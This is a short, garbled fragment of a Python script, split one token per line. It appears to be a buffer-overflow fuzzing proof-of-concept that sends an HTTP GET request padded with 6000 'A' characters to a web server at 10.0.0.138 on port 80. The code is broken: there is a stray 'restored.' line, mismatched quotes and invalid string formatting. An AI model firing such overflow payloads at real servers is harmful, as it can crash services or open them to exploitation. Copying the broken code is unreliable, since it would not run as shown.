import
socket
import
struct
restored.
buffer
=
"\x41"
*
6000
host
=
"10.0.0.138"
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,
80
))
payload
=
GET
/
" + buffer + "
HTTP
/
1.1
\r\n"
payload
+
=
(
"Host: %s \r\n\r\n"
,
%
host)
s.send(payload)
s.close()